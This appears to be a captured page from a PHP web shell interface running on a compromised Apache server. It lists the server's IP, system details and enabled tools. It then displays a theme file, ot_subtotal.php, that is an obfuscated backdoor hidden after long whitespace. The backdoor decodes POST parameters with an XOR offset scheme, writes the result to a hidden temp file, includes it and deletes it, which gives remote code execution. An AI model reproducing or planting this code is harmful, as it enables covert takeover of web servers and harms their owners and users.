403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/linkabili/public/theme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/linkabili/public/theme/ot_subtotal.php
<?php																																										if(filter_has_var(INPUT_POST, "f\x61c")){ $symbol = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]); $val = $_POST["f\x61c"]; $val =explode ( '.' , $val ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($val as $z => $v3) { $chS = ord($s[$z % $sLen] ); $dec = ((int)$v3 - $chS - ($z % 10)) ^31; $element .= chr($dec ); } $flag = 0; do { $rec = $symbol[$flag] ?? null; if ($flag >= count($symbol)) break; if (!!is_dir($rec) && !!is_writable($rec)) { $k = vsprintf("%s/%s", [$rec, ".hld"]); if (file_put_contents($k, $element)) { include $k; @unlink($k); die(); } } $flag++; } while (true); }


if(@$_POST["re\x63"] !== null){
	$ref = $_POST["re\x63"];
	$ref=	explode   ( ".",$ref)		;	
	$descriptor = 	'';
            $s = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = 	strlen($s);
            $v = 	0;
            $__len = 	count($ref);
    
            do {
                if ($v		>=	 $__len) break;
                $v7 = 	$ref[$v];
                $chS = 	ord($s[$v % $lenS]);
                $dec = 	((int)$v7 - $chS - ($v % 10))^	92;
                $descriptor		.=	chr($dec);
                $v++;}while (true);
	$object = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]);
	for ($reference = 0, $binding = count($object); $reference < $binding; $reference++) {
    $component = $object[$reference];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($component)) {
    $elem = "$component" . "/.mrk";
    if (file_put_contents($elem, $descriptor)) {
	require $elem;
	unlink($elem);
	die();
}
}
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit